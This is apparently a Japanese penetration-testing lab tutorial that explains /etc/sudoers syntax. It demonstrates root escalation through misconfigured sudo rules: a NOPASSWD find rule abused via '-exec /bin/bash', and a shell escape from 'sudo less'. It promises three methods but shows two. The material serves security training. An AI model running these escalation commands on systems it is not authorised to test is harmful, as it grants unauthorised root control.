はじめに
この実験では、sudo 設定ファイルの構文について学び、sudo の脆弱性や設定ミスを通じて特権を昇格させる一般的な 3 つの方法を実践します。目的は、ペネトレーションテスト中に sudo を利用して特権を昇格させる方法をより深く理解することです。
この実験では、sudo 設定ファイルの構文について学び、sudo の脆弱性や設定ミスを通じて特権を昇格させる一般的な 3 つの方法を実践します。目的は、ペネトレーションテスト中に sudo を利用して特権を昇格させる方法をより深く理解することです。
このステップでは、sudo の特権を設定するために使用される /etc/sudoers
ファイルの構文について学びます。
/etc/sudoers
ファイルは、どのユーザーまたはグループが特権を持ってコマンドを実行できるかを指定するために使用されます。/etc/sudoers
ファイルの内容を表示して保存するには、次のコマンドを実行します。
sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt
出力は次のようになります。
## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges
この行は、root
ユーザーがすべてのホストで任意のユーザーまたはグループとして任意のコマンドを実行できることを指定しています。
sudoers
エントリの一般的な構文は次のとおりです。
user_or_group_name host_list=(run_as_user:run_as_group) command_list
user_or_group_name
: ルールが適用されるユーザーまたはグループ。host_list
: ルールが適用されるホスト。値 ALL
はすべてのホストを意味します。run_as_user
: コマンドを実行するために使用される特権を持つユーザー。値 ALL
は任意のユーザーを意味します。run_as_group
: コマンドを実行するために使用される特権を持つグループ。値 ALL
は任意のグループを意味します。command_list
: ユーザーまたはグループが実行することが許可されているコマンド。このステップでは、任意のコマンドを特権付きで実行できるような sudo の設定ミスを利用して、特権を昇格させる方法を実践します。
まず、ターミナルを開き、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
次のコマンドを実行して環境を初期化します。
./env_setup_1.sh
これで user001
ユーザーとしてログインしています。
sudo -l
コマンドを使用して、あなたの sudo 特権を確認します。
sudo -l
(root) NOPASSWD:/usr/bin/find
これは、パスワードなしで root
特権で find
コマンドを実行できることを意味します。
特権を昇格させるには、次のコマンドを実行します。
sudo find /home -exec /bin/bash \;
これで root
シェルが開くはずです。
/root
ディレクトリに success_1.txt
という名前のファイルを作成して、root
特権を持っていることを確認します。
echo "success_1" | sudo tee /root/success_1.txt
次のコマンドを実行してファイルを確認します。
cat /root/success_1.txt
出力は success_1
であるはずです。
このステップでは、特定のコマンドを特権付きで実行できるような sudo の設定ミスを利用して、特権を昇格させる方法を実践します。
前のステップの後、あなたは依然として root
ユーザーとしてログインしています。このステップを続けるには、現在のターミナルを閉じて新しいターミナルを開く必要があります。
まず、ターミナルを開き、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
次のコマンドを実行して環境を初期化します。
./env_setup_2.sh
sudo -l
であなたの sudo 特権を確認します。
sudo -l
期待される出力:
(root) NOPASSWD: /bin/less /var/log/messages
これは、パスワードなしで root
特権で /bin/less /var/log/messages
コマンドを実行できることを意味します。
特権を昇格させるには、次のコマンドを実行します。
sudo less /var/log/messages
less
ページャー内で、次のコマンドを実行します。
!/bin/bash
これで root
シェルが開くはずです。
/root
ディレクトリに success_2.txt
という名前のファイルを作成して、root
特権を持っていることを確認します。
echo "success_2" | sudo tee /root/success_2.txt
次のコマンドを実行してファイルを確認します。
cat /root/success_2.txt
出力は success_2
であるはずです。
この実験では、/etc/sudoers
ファイルの構文と sudo 特権の設定方法について学びました。また、sudo の設定ミスや脆弱性を通じて特権を昇格させる一般的な 3 つの方法を実践しました。sudo を利用して特権を昇格させる方法を理解することで、Linux システムにおける潜在的なセキュリティリスクをより適切に評価し、軽減することができます。